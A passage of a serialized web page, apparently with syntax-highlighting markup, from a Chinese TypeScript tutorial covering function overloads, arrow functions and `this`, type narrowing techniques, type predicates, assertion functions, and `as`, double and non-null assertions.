实现签名不对外暴露\n",[331,100038,100039,100041],{"class":333,"line":371},[331,100040,1633],{"class":616},[331,100042,63088],{"class":337},[331,100044,100045],{"class":333,"line":384},[331,100046,459],{"class":337},[331,100048,100049,100051,100053,100055,100057],{"class":333,"line":397},[331,100050,8787],{"class":501},[331,100052,966],{"class":337},[331,100054,9298],{"class":365},[331,100056,62134],{"class":337},[331,100058,100059],{"class":1003},"\u002F\u002F 返回 string\n",[331,100061,100062,100064,100066,100068,100070],{"class":333,"line":418},[331,100063,8787],{"class":501},[331,100065,966],{"class":337},[331,100067,7993],{"class":344},[331,100069,14439],{"class":337},[331,100071,100072],{"class":1003},"\u002F\u002F 返回 number\n",[11,100074,29078,100075,100078],{},[17,100076,100077],{},"实现签名必须能兼容所有对外签名","，且调用方只能看见对外的那几个签名，看不见实现签名。外部调用如果落不进任何对外签名，就报错。重载写起来啰嗦，现代 TS 里很多场景可以用「泛型 + 条件返回类型」（第十一、十四章）替代，更简洁也更不容易出错。",[53,100080,100082,100083],{"id":100081},"箭头函数与-this","箭头函数与 ",[22,100084,18040],{},[11,100086,100087,100088,100092,100093,100095,100096,8639,100098,100100,100101,100104,100105,100108,100109,100111],{},"箭头函数",[17,100089,64734,100090],{},[22,100091,18040],{},"，它捕获定义时外层的 ",[22,100094,18040],{},"。这在类型上表现为：普通函数的 ",[22,100097,18040],{},[22,100099,96855],{},"（严格模式下需要 ",[22,100102,100103],{},"ThisType"," 或显式 ",[22,100106,100107],{},"this: T"," 参数），而箭头函数的 ",[22,100110,18040],{}," 从上下文来，无需注解：",[308,100113,100115],{"className":5205,"code":100114,"language":5207,"meta":314,"style":314},"const timer = {\n  seconds: 0,\n  start() {\n    setInterval(function () {\n      this.seconds++     \u002F\u002F ✗ 这里 this 是全局\u002Fwindow，不是 timer——经典坑\n    }, 1000)\n    setInterval(() => {\n      this.seconds++     \u002F\u002F ✓ 箭头函数捕获 timer 的 this，正确\n    }, 1000)\n  }\n}\n",[22,100116,100117,100127,100136,100143,100154,100167,100175,100185,100196,100204,100208],{"__ignoreMap":314},[331,100118,100119,100121,100123,100125],{"class":333,"line":334},[331,100120,951],{"class":616},[331,100122,22059],{"class":344},[331,100124,957],{"class":616},[331,100126,1100],{"class":337},[331,100128,100129,100132,100134],{"class":333,"line":341},[331,100130,100131],{"class":337},"  seconds: ",[331,100133,628],{"class":344},[331,100135,354],{"class":337},[331,100137,100138,100141],{"class":333,"line":357},[331,100139,100140],{"class":501},"  start",[331,100142,1072],{"class":337},[331,100144,100145,100148,100150,100152],{"class":333,"line":371},[331,100146,100147],{"class":501},"    setInterval",[331,100149,966],{"class":337},[331,100151,3047],{"class":616},[331,100153,65042],{"class":337},[331,100155,100156,100159,100162,100164],{"class":333,"line":384},[331,100157,100158],{"class":344},"      this",[331,100160,100161],{"class":337},".seconds",[331,100163,29231],{"class":616},[331,100165,100166],{"class":1003},"     \u002F\u002F ✗ 这里 this 是全局\u002Fwindow，不是 timer——经典坑\n",[331,100168,100169,100171,100173],{"class":333,"line":397},[331,100170,72286],{"class":337},[331,100172,64797],{"class":344},[331,100174,972],{"class":337},[331,100176,100177,100179,100181,100183],{"class":333,"line":418},[331,100178,100147],{"class":501},[331,100180,1486],{"class":337},[331,100182,1489],{"class":616},[331,100184,1100],{"class":337},[331,100186,100187,100189,100191,100193],{"class":333,"line":427},[331,100188,100158],{"class":344},[331,100190,100161],{"class":337},[331,100192,29231],{"class":616},[331,100194,100195],{"class":1003},"     \u002F\u002F ✓ 箭头函数捕获 timer 的 this，正确\n",[331,100197,100198,100200,100202],{"class":333,"line":439},[331,100199,72286],{"class":337},[331,100201,64797],{"class":344},[331,100203,972],{"class":337},[331,100205,100206],{"class":333,"line":450},[331,100207,453],{"class":337},[331,100209,100210],{"class":333,"line":456},[331,100211,459],{"class":337},[11,100213,100214,100215,100217,100218,100220],{},"普通函数若要显式约束 ",[22,100216,18040],{},"，在参数表最前面加一个 ",[22,100219,100107],{},"（它不是真参数，调用时不占位）。这是 TS 提供的一个「只给 this 打类型」的特殊语法。",[53,100222,100224,5160,100226,100228],{"id":100223},"void-与-undefined-作返回类型的差别",[22,100225,97954],{},[22,100227,5872],{}," 作返回类型的差别",[11,100230,100231,100232,100234,100235,100237,100238,100241,100242,100245,100246,100248,100249,100252,100253,100255,100256,100258,100259,161],{},"两者细微不同，但会咬人：",[22,100233,97954],{}," 表示「调用方不关心返回值」，TS 对返回 ",[22,100236,97954],{}," 的函数",[17,100239,100240],{},"很宽容","——它可以返回任何东西，反正调用方承诺不读（比如 ",[22,100243,100244],{},"arr.forEach(() => x())","，回调返回什么都行）。而 ",[22,100247,5872],{}," 作返回类型则",[17,100250,100251],{},"严格","要求真的只返回 ",[22,100254,5872],{},"。所以当你想表达「随便返回啥但我不看」时，用 ",[22,100257,97954],{},"；想表达「它必须什么都不返回」时，才用 ",[22,100260,5872],{},[48,100262,100264],{"id":100263},"七类型收窄编译器怎么一步步相信你的判断","七、类型收窄：编译器怎么一步步相信你的判断",[11,100266,100267,100268,100271,100272,100274],{},"如果说这门课只能精读一章，就是这一章。",[17,100269,100270],{},"收窄（narrowing）是 TS 类型系统的发动机","：类型不会自己变精确，是你在代码里做的判断，让编译器在某个分支内把一个宽类型「收窄」成具体的窄类型。第五章的可辨识联合、第三章的 ",[22,100273,97142],{}," 使用点，全都靠收窄落地。",[53,100276,100278],{"id":100277},"什么是收窄一个直观例子","什么是收窄：一个直观例子",[308,100280,100282],{"className":5205,"code":100281,"language":5207,"meta":314,"style":314},"function len(x: string | number) {\n  \u002F\u002F 这里 x 是 string | number，length\u002FtoFixed 都不能直接用\n  if (typeof x === 'string') {\n    return x.length       \u002F\u002F ✓ 这个分支里 x 被收窄成 string\n  }\n  return x.toFixed(2)     \u002F\u002F ✓ 走到 else，x 收窄成 number\n}\n",[22,100283,100284,100305,100310,100326,100337,100341,100358],{"__ignoreMap":314},[331,100285,100286,100288,100291,100293,100295,100297,100299,100301,100303],{"class":333,"line":334},[331,100287,3047],{"class":616},[331,100289,100290],{"class":501}," len",[331,100292,966],{"class":337},[331,100294,21547],{"class":2472},[331,100296,1180],{"class":616},[331,100298,96819],{"class":344},[331,100300,15984],{"class":616},[331,100302,96507],{"class":344},[331,100304,2476],{"class":337},[331,100306,100307],{"class":333,"line":341},[331,100308,100309],{"class":1003},"  \u002F\u002F 这里 x 是 string | number，length\u002FtoFixed 都不能直接用\n",[331,100311,100312,100314,100316,100318,100320,100322,100324],{"class":333,"line":357},[331,100313,1526],{"class":616},[331,100315,1147],{"class":337},[331,100317,62850],{"class":616},[331,100319,66273],{"class":337},[331,100321,2625],{"class":616},[331,100323,25583],{"class":365},[331,100325,2476],{"class":337},[331,100327,100328,100330,100332,100334],{"class":333,"line":371},[331,100329,1545],{"class":616},[331,100331,66246],{"class":337},[331,100333,10192],{"class":344},[331,100335,100336],{"class":1003},"       \u002F\u002F ✓ 这个分支里 x 被收窄成 string\n",[331,100338,100339],{"class":333,"line":384},[331,100340,453],{"class":337},[331,100342,100343,100345,100347,100349,100351,100353,100355],{"class":333,"line":397},[331,100344,1633],{"class":616},[331,100346,66246],{"class":337},[331,100348,98471],{"class":501},[331,100350,966],{"class":337},[331,100352,9292],{"class":344},[331,100354,14439],{"class":337},[331,100356,100357],{"class":1003},"\u002F\u002F ✓ 走到 else，x 收窄成 number\n",[331,100359,100360],{"class":333,"line":418},[331,100361,459],{"class":337},[11,100363,100364,100366,100367,100370,100371,100374,100375,100377,100378,161],{},[22,100365,62850],{}," 这个判断本身在 JS 里就有，TS 只是",[17,100368,100369],{},"读懂了它的含义","：在 ",[22,100372,100373],{},"=== 'string'"," 为真的分支里，把 ",[22,100376,21547],{}," 的类型从联合里剩下的分支收窄。收窄不改变运行时的值，只改变",[17,100379,100380],{},"编译器在这一段里对它的看法",[53,100382,100384,36284],{"id":100383},"typeof-收窄",[22,100385,62850],{},[11,100387,100388,100389,272,100392,272,100394,272,100397,272,100400,272,100403,272,100406,100409,100410,100413,100414,100417,100418,161],{},"支持的字面量：",[22,100390,100391],{},"\"string\"",[22,100393,23342],{},[22,100395,100396],{},"\"boolean\"",[22,100398,100399],{},"\"function\"",[22,100401,100402],{},"\"object\"",[22,100404,100405],{},"\"symbol\"",[22,100407,100408],{},"\"undefined\"","，以及 ",[22,100411,100412],{},"\"bigint\"","。注意 ",[22,100415,100416],{},"typeof null === 'object'"," 这条 JS 老 bug 也影响收窄——判对象为真还要再 ",[22,100419,100420],{},"x !== null",[53,100422,100424,36284],{"id":100423},"in-收窄",[22,100425,27385],{},[11,100427,100428,100429,322],{},"用一个「只有某支才有」的属性名来区分，靠 ",[22,100430,27385],{},[308,100432,100434],{"className":5205,"code":100433,"language":5207,"meta":314,"style":314},"type Fish = { swim: () => void }\ntype Bird = { fly: () => void }\nfunction move(a: Fish | Bird) {\n  if ('fly' in a) a.fly()    \u002F\u002F ✓ 'fly' in a 为真时 a 收窄成 Bird\n  else a.swim()\n}\n",[22,100435,100436,100460,100484,100505,100527,100537],{"__ignoreMap":314},[331,100437,100438,100440,100443,100445,100447,100450,100452,100454,100456,100458],{"class":333,"line":334},[331,100439,3628],{"class":616},[331,100441,100442],{"class":501}," Fish",[331,100444,957],{"class":616},[331,100446,605],{"class":337},[331,100448,100449],{"class":501},"swim",[331,100451,1180],{"class":616},[331,100453,7268],{"class":337},[331,100455,1489],{"class":616},[331,100457,97985],{"class":344},[331,100459,9413],{"class":337},[331,100461,100462,100464,100467,100469,100471,100474,100476,100478,100480,100482],{"class":333,"line":341},[331,100463,3628],{"class":616},[331,100465,100466],{"class":501}," Bird",[331,100468,957],{"class":616},[331,100470,605],{"class":337},[331,100472,100473],{"class":501},"fly",[331,100475,1180],{"class":616},[331,100477,7268],{"class":337},[331,100479,1489],{"class":616},[331,100481,97985],{"class":344},[331,100483,9413],{"class":337},[331,100485,100486,100488,100491,100493,100495,100497,100499,100501,100503],{"class":333,"line":357},[331,100487,3047],{"class":616},[331,100489,100490],{"class":501}," move",[331,100492,966],{"class":337},[331,100494,30],{"class":2472},[331,100496,1180],{"class":616},[331,100498,100442],{"class":501},[331,100500,15984],{"class":616},[331,100502,100466],{"class":501},[331,100504,2476],{"class":337},[331,100506,100507,100509,100511,100514,100516,100519,100521,100524],{"class":333,"line":371},[331,100508,1526],{"class":616},[331,100510,1147],{"class":337},[331,100512,100513],{"class":365},"'fly'",[331,100515,63945],{"class":616},[331,100517,100518],{"class":337}," a) a.",[331,100520,100473],{"class":501},[331,100522,100523],{"class":337},"()    ",[331,100525,100526],{"class":1003},"\u002F\u002F ✓ 'fly' in a 为真时 a 收窄成 Bird\n",[331,100528,100529,100531,100533,100535],{"class":333,"line":384},[331,100530,74143],{"class":616},[331,100532,99920],{"class":337},[331,100534,100449],{"class":501},[331,100536,1540],{"class":337},[331,100538,100539],{"class":333,"line":397},[331,100540,459],{"class":337},[11,100542,100543,100545],{},[22,100544,27385],{}," 收窄的正是那种「没设计标签字段、但各支属性不同」的场合——不过更好的做法通常是回去把它改成可辨识联合。",[53,100547,100549,36284],{"id":100548},"instanceof-收窄",[22,100550,68508],{},[11,100552,100553,100554,100556,100557,100559,100560,655,100562,100564,100565,100567],{},"对 class 实例，用 ",[22,100555,68508],{}," 判断，收窄到对应类。因为 ",[22,100558,24306],{}," 是运行时真实存在的，所以这条能用；而纯 ",[22,100561,96572],{},[22,100563,3628],{}," 运行时不存在，",[22,100566,68508],{}," 帮不上忙（第七章的这条限制，正是第一章「类型擦除」的直接后果）。",[308,100569,100571],{"className":5205,"code":100570,"language":5207,"meta":314,"style":314},"function describe(e: Error | Date) {\n  if (e instanceof Error) return e.message   \u002F\u002F 收窄成 Error\n  return e.getTime()                          \u002F\u002F 收窄成 Date\n}\n",[22,100572,100573,100594,100615,100631],{"__ignoreMap":314},[331,100574,100575,100577,100580,100582,100584,100586,100588,100590,100592],{"class":333,"line":334},[331,100576,3047],{"class":616},[331,100578,100579],{"class":501}," describe",[331,100581,966],{"class":337},[331,100583,9481],{"class":2472},[331,100585,1180],{"class":616},[331,100587,1217],{"class":501},[331,100589,15984],{"class":616},[331,100591,71761],{"class":501},[331,100593,2476],{"class":337},[331,100595,100596,100598,100601,100603,100605,100607,100609,100612],{"class":333,"line":341},[331,100597,1526],{"class":616},[331,100599,100600],{"class":337}," (e ",[331,100602,68508],{"class":616},[331,100604,1217],{"class":501},[331,100606,3180],{"class":337},[331,100608,10859],{"class":616},[331,100610,100611],{"class":337}," e.message   ",[331,100613,100614],{"class":1003},"\u002F\u002F 收窄成 Error\n",[331,100616,100617,100619,100622,100625,100628],{"class":333,"line":357},[331,100618,1633],{"class":616},[331,100620,100621],{"class":337}," e.",[331,100623,100624],{"class":501},"getTime",[331,100626,100627],{"class":337},"()                          ",[331,100629,100630],{"class":1003},"\u002F\u002F 收窄成 Date\n",[331,100632,100633],{"class":333,"line":371},[331,100634,459],{"class":337},[53,100636,100637],{"id":100637},"真值收窄与相等收窄",[11,100639,100640,272,100643,272,100646,272,100649,100652,100653,272,100655,272,100657,272,100659,272,100661,100663],{},[22,100641,100642],{},"if (x)",[22,100644,100645],{},"x && ...",[22,100647,100648],{},"x === value",[22,100650,100651],{},"x !== value"," 这些都能收窄。真值收窄会把 ",[22,100654,628],{},[22,100656,9164],{},[22,100658,5858],{},[22,100660,5872],{},[22,100662,20693],{}," 这些假值从类型里剔除；相等收窄则配合字面量类型精确命中：",[308,100665,100667],{"className":5205,"code":100666,"language":5207,"meta":314,"style":314},"function f(s?: string) {\n  if (s) {\n    s.toUpperCase()   \u002F\u002F ✓ 排除了 undefined 和空串（string 仍在）\n  }\n}\ntype Status = 'a' | 'b' | 'c'\nfunction g(x: Status) {\n  if (x === 'a') { \u002F* x: 'a' *\u002F }\n  else { \u002F* x: 'b' | 'c' *\u002F }   \u002F\u002F 排除 'a' 后剩两支\n}\n",[22,100668,100669,100685,100692,100704,100708,100712,100734,100751,100769,100783],{"__ignoreMap":314},[331,100670,100671,100673,100675,100677,100679,100681,100683],{"class":333,"line":334},[331,100672,3047],{"class":616},[331,100674,75783],{"class":501},[331,100676,966],{"class":337},[331,100678,21542],{"class":2472},[331,100680,98429],{"class":616},[331,100682,96819],{"class":344},[331,100684,2476],{"class":337},[331,100686,100687,100689],{"class":333,"line":341},[331,100688,1526],{"class":616},[331,100690,100691],{"class":337}," (s) {\n",[331,100693,100694,100697,100699,100701],{"class":333,"line":357},[331,100695,100696],{"class":337},"    s.",[331,100698,65555],{"class":501},[331,100700,32115],{"class":337},[331,100702,100703],{"class":1003},"\u002F\u002F ✓ 排除了 undefined 和空串（string 仍在）\n",[331,100705,100706],{"class":333,"line":371},[331,100707,453],{"class":337},[331,100709,100710],{"class":333,"line":384},[331,100711,459],{"class":337},[331,100713,100714,100716,100719,100721,100724,100726,100729,100731],{"class":333,"line":397},[331,100715,3628],{"class":616},[331,100717,100718],{"class":501}," Status",[331,100720,957],{"class":616},[331,100722,100723],{"class":365}," 'a'",[331,100725,15984],{"class":616},[331,100727,100728],{"class":365}," 'b'",[331,100730,15984],{"class":616},[331,100732,100733],{"class":365}," 'c'\n",[331,100735,100736,100738,100741,100743,100745,100747,100749],{"class":333,"line":418},[331,100737,3047],{"class":616},[331,100739,100740],{"class":501}," g",[331,100742,966],{"class":337},[331,100744,21547],{"class":2472},[331,100746,1180],{"class":616},[331,100748,100718],{"class":501},[331,100750,2476],{"class":337},[331,100752,100753,100755,100758,100760,100762,100764,100767],{"class":333,"line":427},[331,100754,1526],{"class":616},[331,100756,100757],{"class":337}," (x ",[331,100759,2625],{"class":616},[331,100761,100723],{"class":365},[331,100763,31033],{"class":337},[331,100765,100766],{"class":1003},"\u002F* x: 'a' *\u002F",[331,100768,9413],{"class":337},[331,100770,100771,100773,100775,100778,100780],{"class":333,"line":439},[331,100772,74143],{"class":616},[331,100774,605],{"class":337},[331,100776,100777],{"class":1003},"\u002F* x: 'b' | 'c' *\u002F",[331,100779,5391],{"class":337},[331,100781,100782],{"class":1003},"\u002F\u002F 排除 'a' 后剩两支\n",[331,100784,100785],{"class":333,"line":450},[331,100786,459],{"class":337},[11,100788,100789,100790,2012,100792,100794,100795,100798,100799,161],{},"真值收窄有个陷阱：",[22,100791,628],{},[22,100793,9164],{}," 也会被一起剔掉，如果你本意只是「判空」，用 ",[22,100796,100797],{},"x !== undefined"," 更精确，别误用 ",[22,100800,100642],{},[53,100802,100804,100805,100808],{"id":100803},"类型谓词-x-is-t把你的判断经验交给编译器","类型谓词 ",[22,100806,100807],{},"x is T","：把你的判断经验交给编译器",[11,100810,100811,100812,100814,100815,100817,100818,100821],{},"标准判断不够用时，你写一个返回 ",[22,100813,8922],{}," 的函数，但用 ",[22,100816,100807],{}," 告诉编译器「返回真即说明 x 是 T」——这就是",[17,100819,100820],{},"类型谓词（type predicate）","，用户自定义收窄的核心工具：",[308,100823,100825],{"className":5205,"code":100824,"language":5207,"meta":314,"style":314},"function isString(x: unknown): x is string {\n  return typeof x === 'string'\n}\nfunction use(v: unknown) {\n  if (isString(v)) {\n    v.toUpperCase()   \u002F\u002F ✓ 因为 isString 声明了 x is string\n  }\n}\n\n\u002F\u002F 配合 filter 极其好用：过滤后的数组类型会自动窄化\nconst nums = ['a', 1, 'b', 2].filter(isString)   \u002F\u002F nums: string[]\n",[22,100826,100827,100855,100868,100872,100888,100900,100912,100916,100920,100924,100929],{"__ignoreMap":314},[331,100828,100829,100831,100834,100836,100838,100840,100842,100844,100846,100848,100851,100853],{"class":333,"line":334},[331,100830,3047],{"class":616},[331,100832,100833],{"class":501}," isString",[331,100835,966],{"class":337},[331,100837,21547],{"class":2472},[331,100839,1180],{"class":616},[331,100841,97698],{"class":344},[331,100843,1351],{"class":337},[331,100845,1180],{"class":616},[331,100847,63067],{"class":2472},[331,100849,100850],{"class":616}," is",[331,100852,96819],{"class":344},[331,100854,1100],{"class":337},[331,100856,100857,100859,100861,100863,100865],{"class":333,"line":341},[331,100858,1633],{"class":616},[331,100860,25575],{"class":616},[331,100862,66273],{"class":337},[331,100864,2625],{"class":616},[331,100866,100867],{"class":365}," 'string'\n",[331,100869,100870],{"class":333,"line":357},[331,100871,459],{"class":337},[331,100873,100874,100876,100878,100880,100882,100884,100886],{"class":333,"line":371},[331,100875,3047],{"class":616},[331,100877,98166],{"class":501},[331,100879,966],{"class":337},[331,100881,14033],{"class":2472},[331,100883,1180],{"class":616},[331,100885,97698],{"class":344},[331,100887,2476],{"class":337},[331,100889,100890,100892,100894,100897],{"class":333,"line":384},[331,100891,1526],{"class":616},[331,100893,1147],{"class":337},[331,100895,100896],{"class":501},"isString",[331,100898,100899],{"class":337},"(v)) {\n",[331,100901,100902,100905,100907,100909],{"class":333,"line":397},[331,100903,100904],{"class":337},"    v.",[331,100906,65555],{"class":501},[331,100908,32115],{"class":337},[331,100910,100911],{"class":1003},"\u002F\u002F ✓ 因为 isString 声明了 x is string\n",[331,100913,100914],{"class":333,"line":418},[331,100915,453],{"class":337},[331,100917,100918],{"class":333,"line":427},[331,100919,459],{"class":337},[331,100921,100922],{"class":333,"line":439},[331,100923,998],{"emptyLinePlaceholder":997},[331,100925,100926],{"class":333,"line":450},[331,100927,100928],{"class":1003},"\u002F\u002F 配合 filter 极其好用：过滤后的数组类型会自动窄化\n",[331,100930,100931,100933,100935,100937,100939,100941,100943,100945,100947,100949,100951,100953,100955,100957,100960],{"class":333,"line":456},[331,100932,951],{"class":616},[331,100934,66395],{"class":344},[331,100936,957],{"class":616},[331,100938,1108],{"class":337},[331,100940,9298],{"class":365},[331,100942,409],{"class":337},[331,100944,7993],{"class":344},[331,100946,409],{"class":337},[331,100948,9303],{"class":365},[331,100950,409],{"class":337},[331,100952,9292],{"class":344},[331,100954,2498],{"class":337},[331,100956,21587],{"class":501},[331,100958,100959],{"class":337},"(isString)   ",[331,100961,100962],{"class":1003},"\u002F\u002F nums: string[]\n",[11,100964,100965,100967,100968,4839,100971,100973,100974,100976],{},[22,100966,24939],{}," 前面必须是",[17,100969,100970],{},"函数参数本身",[22,100972,100807],{},"），TS 只信任「对这个变量做的判断」。这个写法把「我确信它是这个类型」的经验，安全地注入编译器，而不必用 ",[22,100975,73430],{}," 硬断言。",[53,100978,100980,100983],{"id":100979},"asserts-x-is-t断言函数",[22,100981,100982],{},"asserts x is T","：断言函数",[11,100985,100986,100987,100990],{},"类型谓词的「加强版」——它不返回布尔，而是",[17,100988,100989],{},"不满足就抛错","，从而在调用点之后把变量收窄。适合做参数校验：",[308,100992,100994],{"className":5205,"code":100993,"language":5207,"meta":314,"style":314},"function assertIsNumber(v: unknown): asserts v is number {\n  if (typeof v !== 'number') throw new Error('not a number')\n}\nfunction compute(v: unknown) {\n  assertIsNumber(v)\n  v.toFixed(2)   \u002F\u002F ✓ 调用之后，编译器认定 v 是 number\n}\n",[22,100995,100996,101026,101057,101061,101078,101086,101102],{"__ignoreMap":314},[331,100997,100998,101000,101003,101005,101007,101009,101011,101013,101015,101018,101020,101022,101024],{"class":333,"line":334},[331,100999,3047],{"class":616},[331,101001,101002],{"class":501}," assertIsNumber",[331,101004,966],{"class":337},[331,101006,14033],{"class":2472},[331,101008,1180],{"class":616},[331,101010,97698],{"class":344},[331,101012,1351],{"class":337},[331,101014,1180],{"class":616},[331,101016,101017],{"class":616}," asserts",[331,101019,98010],{"class":2472},[331,101021,100850],{"class":616},[331,101023,96507],{"class":344},[331,101025,1100],{"class":337},[331,101027,101028,101030,101032,101034,101037,101039,101042,101044,101046,101048,101050,101052,101055],{"class":333,"line":341},[331,101029,1526],{"class":616},[331,101031,1147],{"class":337},[331,101033,62850],{"class":616},[331,101035,101036],{"class":337}," v ",[331,101038,3076],{"class":616},[331,101040,101041],{"class":365}," 'number'",[331,101043,3180],{"class":337},[331,101045,2507],{"class":616},[331,101047,1214],{"class":616},[331,101049,1217],{"class":501},[331,101051,966],{"class":337},[331,101053,101054],{"class":365},"'not a number'",[331,101056,972],{"class":337},[331,101058,101059],{"class":333,"line":357},[331,101060,459],{"class":337},[331,101062,101063,101065,101068,101070,101072,101074,101076],{"class":333,"line":371},[331,101064,3047],{"class":616},[331,101066,101067],{"class":501}," compute",[331,101069,966],{"class":337},[331,101071,14033],{"class":2472},[331,101073,1180],{"class":616},[331,101075,97698],{"class":344},[331,101077,2476],{"class":337},[331,101079,101080,101083],{"class":333,"line":384},[331,101081,101082],{"class":501},"  assertIsNumber",[331,101084,101085],{"class":337},"(v)\n",[331,101087,101088,101091,101093,101095,101097,101099],{"class":333,"line":397},[331,101089,101090],{"class":337},"  v.",[331,101092,98471],{"class":501},[331,101094,966],{"class":337},[331,101096,9292],{"class":344},[331,101098,62134],{"class":337},[331,101100,101101],{"class":1003},"\u002F\u002F ✓ 调用之后，编译器认定 v 是 number\n",[331,101103,101104],{"class":333,"line":418},[331,101105,459],{"class":337},[11,101107,101108],{},"断言函数对调用方是「隐形收窄」：它没有返回值可用，副作用是改变了后续代码里变量的类型。校验外部输入时特别顺手。",[4748,101110],{"height":32474,"src":101111,"title":101112},"\u002Ftutorials\u002Fts\u002Fdemos\u002F07-narrowing.html","示例 07：类型收窄——编译器怎么逐步相信你的判断",[53,101114,101115],{"id":101115},"收窄不是运行时保护",[11,101117,101118,101119,161,101122,101125,101126,655,101128,101130,101131,101134],{},"最后再敲一次黑板：收窄只影响",[17,101120,101121],{},"编译期看法",[22,101123,101124],{},"typeof x === 'string'"," 这个分支运行时确实会执行对应 JS，但那是 JS 的判断在起作用，不是类型系统。外部数据你没法靠类型「声明」它是 string——必须靠 ",[22,101127,62850],{},[22,101129,27385],{},"\u002F校验库在运行时",[17,101132,101133],{},"真的验一遍","（第十五、十七章）。收窄是「你在代码里做出判断，编译器据此更新它的看法」这个协作过程，两半缺一不可。",[48,101136,101138,101139,101141,101142,5160,101145],{"id":101137},"八断言as双重断言非空断言以及-satisfies-与-as-const","八、断言：",[22,101140,73430],{},"、双重断言、非空断言，以及 ",[22,101143,101144],{},"satisfies",[22,101146,97464],{},[11,101148,101149,101150,101153],{},"断言是 TS 里最强大也最容易被滥用的一组工具。它的本质一句话：",[17,101151,101152],{},"你对编译器说「相信我，这个值其实是某个类型」，编译器照办，且不再检查——出了错你自己担","。本章把四种断言工具各自的分工讲清楚。",[53,101155,101157,101160],{"id":101156},"as-t普通断言",[22,101158,101159],{},"as T","：普通断言",[308,101162,101164],{"className":5205,"code":101163,"language":5207,"meta":314,"style":314},"const el = document.getElementById('app') as HTMLElement\nconst input = el.querySelector('#name') as HTMLInputElement\nconst data = response.body as User\n",[22,101165,101166,101191,101216],{"__ignoreMap":314},[331,101167,101168,101170,101173,101175,101177,101179,101181,101184,101186,101188],{"class":333,"line":334},[331,101169,951],{"class":616},[331,101171,101172],{"class":344}," el",[331,101174,957],{"class":616},[331,101176,960],{"class":337},[331,101178,1518],{"class":501},[331,101180,966],{"class":337},[331,101182,101183],{"class":365},"'app'",[331,101185,3180],{"class":337},[331,101187,73430],{"class":616},[331,101189,101190],{"class":501}," HTMLElement\n",[331,101192,101193,101195,101198,101200,101202,101204,101206,101209,101211,101213],{"class":333,"line":341},[331,101194,951],{"class":616},[331,101196,101197],{"class":344}," input",[331,101199,957],{"class":616},[331,101201,18212],{"class":337},[331,101203,963],{"class":501},[331,101205,966],{"class":337},[331,101207,101208],{"class":365},"'#name'",[331,101210,3180],{"class":337},[331,101212,73430],{"class":616},[331,101214,101215],{"class":501}," HTMLInputElement\n",[331,101217,101218,101220,101222,101224,101227,101229],{"class":333,"line":357},[331,101219,951],{"class":616},[331,101221,29398],{"class":344},[331,101223,957],{"class":616},[331,101225,101226],{"class":337}," response.body ",[331,101228,73430],{"class":616},[331,101230,101231],{"class":501}," User\n",[11,101233,101234,101236,101237,101239,101240,101243,101244,101246,101247,268,101249,18878,101252,101255],{},[22,101235,73430],{}," 用来在「编译器知道的类型」和「你知道的实际类型」之间搭桥，常见于 DOM 查询（",[22,101238,963],{}," 默认返回宽泛的 ",[22,101241,101242],{},"Element","）、以及类型断言从 ",[22,101245,97142],{}," 收窄。但 ",[22,101248,73430],{},[17,101250,101251],{},"不做运行时转换",[22,101253,101254],{},"x as number"," 不会把字符串转成数字，它只是改编译器看法。",[11,101257,101258,101259,101262,101263,101265,101266,161],{},"这里引用本课程反复强调的一句话，正好给断言下个定义：",[17,101260,101261],{},"断言是你写给编译器的情书——你告诉它该怎么想，它全盘接受，不做任何核实。"," 情书写得越满，运行时被打脸越疼。所以能用收窄（",[22,101264,24939],{}," 谓词）解决的地方，就别用 ",[22,101267,73430],{},[53,101269,101271,101272],{"id":101270},"双重断言-as-unknown-as-t","双重断言 ",[22,101273,101274],{},"as unknown as T",[11,101276,101277,101278,101281,101282,101285,101286,101288],{},"直接从 ",[22,101279,101280],{},"A"," 断言到八竿子打不着的 ",[22,101283,101284],{},"B"," 会被拒（「两种类型重叠不足」），此时先绕到 ",[22,101287,97142],{}," 再断言就通得了：",[308,101290,101292],{"className":5205,"code":101291,"language":5207,"meta":314,"style":314},"const el = document as unknown as HTMLElement   \u002F\u002F 直断报错，借 unknown 中转\nconst v = someValue as unknown as TargetType\n",[22,101293,101294,101317],{"__ignoreMap":314},[331,101295,101296,101298,101300,101302,101305,101307,101309,101311,101314],{"class":333,"line":334},[331,101297,951],{"class":616},[331,101299,101172],{"class":344},[331,101301,957],{"class":616},[331,101303,101304],{"class":337}," document ",[331,101306,73430],{"class":616},[331,101308,97698],{"class":344},[331,101310,73463],{"class":616},[331,101312,101313],{"class":501}," HTMLElement",[331,101315,101316],{"class":1003},"   \u002F\u002F 直断报错，借 unknown 中转\n",[331,101318,101319,101321,101323,101325,101328,101330,101332,101334],{"class":333,"line":341},[331,101320,951],{"class":616},[331,101322,98010],{"class":344},[331,101324,957],{"class":616},[331,101326,101327],{"class":337}," someValue ",[331,101329,73430],{"class":616},[331,101331,97698],{"class":344},[331,101333,73463],{"class":616},[331,101335,101336],{"class":501}," TargetType\n",[11,101338,101339],{},"双重断言是「我最清楚，编译器你别拦」的终极表达，几乎放弃了所有安全检查。它合理的时候很少——比如把 DOM 元素硬当某个自定义类型、老库类型写错时——但每次用都该停下来想想：是不是该用校验代替。",[4748,101341],{"height":42104,"src":101342,"title":101343},"\u002Ftutorials\u002Fts\u002Fdemos\u002F08-assertions.html","示例 08：断言的四种工具与它们的分工",[53,101345,101347,101348],{"id":101346},"非空断言","非空断言 ",[22,101349,1150],{},[11,101351,101352,101353,101355,101356,655,101358,101360,101361,101363,101364,322],{},"后缀 ",[22,101354,1150],{}," 告诉编译器「这个值这里一定不是 ",[22,101357,5858],{},[22,101359,5872],{},"」，把 ",[22,101362,98403],{}," 收成 ",[22,101365,75387],{},[308,101367,101369],{"className":5205,"code":101368,"language":5207,"meta":314,"style":314},"function f(s?: string) {\n  const len = s!.length    \u002F\u002F 你保证 s 一定有值；真给了 undefined 就运行时崩\n}\nconst el = document.getElementById('root')!    \u002F\u002F 断言这个 id 一定存在\n",[22,101370,101371,101387,101406,101410],{"__ignoreMap":314},[331,101372,101373,101375,101377,101379,101381,101383,101385],{"class":333,"line":334},[331,101374,3047],{"class":616},[331,101376,75783],{"class":501},[331,101378,966],{"class":337},[331,101380,21542],{"class":2472},[331,101382,98429],{"class":616},[331,101384,96819],{"class":344},[331,101386,2476],{"class":337},[331,101388,101389,101391,101393,101395,101397,101399,101401,101403],{"class":333,"line":341},[331,101390,1496],{"class":616},[331,101392,100290],{"class":344},[331,101394,957],{"class":616},[331,101396,97722],{"class":337},[331,101398,1150],{"class":616},[331,101400,1192],{"class":337},[331,101402,10192],{"class":344},[331,101404,101405],{"class":1003},"    \u002F\u002F 你保证 s 一定有值；真给了 undefined 